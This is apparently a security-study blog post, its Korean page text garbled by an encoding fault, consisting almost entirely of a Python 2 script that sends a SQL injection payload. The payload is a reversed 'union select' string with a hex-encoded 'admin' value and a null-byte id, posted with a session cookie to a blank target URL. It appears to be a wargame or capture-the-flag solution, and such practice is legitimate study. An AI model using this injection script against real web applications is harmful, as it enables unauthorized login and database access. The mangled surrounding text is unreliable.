728x90
๋ฐ์ํ
- import urllib
- import urllib2
- url = ""
- req = urllib2.Request(url)
- sql = "union select 0x61646D696E 32%"
- data = "id=%00&pw=" + sql[::-1]
- #data = urllib.urlencode(data)
- req = urllib2.Request(url, data)
- req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
- req.add_header('Cookie', 'PHPSESSID=')
- response = urllib2.urlopen(req)
- headers = response.info().headers
- the_page = response.read()
- print the_page
728x90
๋ฐ์ํ
'Security Study > Source' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
mac ํฐ๋ฏธ๋ vim ๊พธ๋ฏธ๊ธฐ (0) | 2015.12.10 |
---|---|
rtl chain (0) | 2015.11.21 |
์์ผํ๋ก๊ทธ๋๋ฐ (0) | 2015.11.21 |
Blind Sql Injection (0) | 2015.11.21 |
Base 64 encoding (0) | 2015.11.21 |
๋๊ธ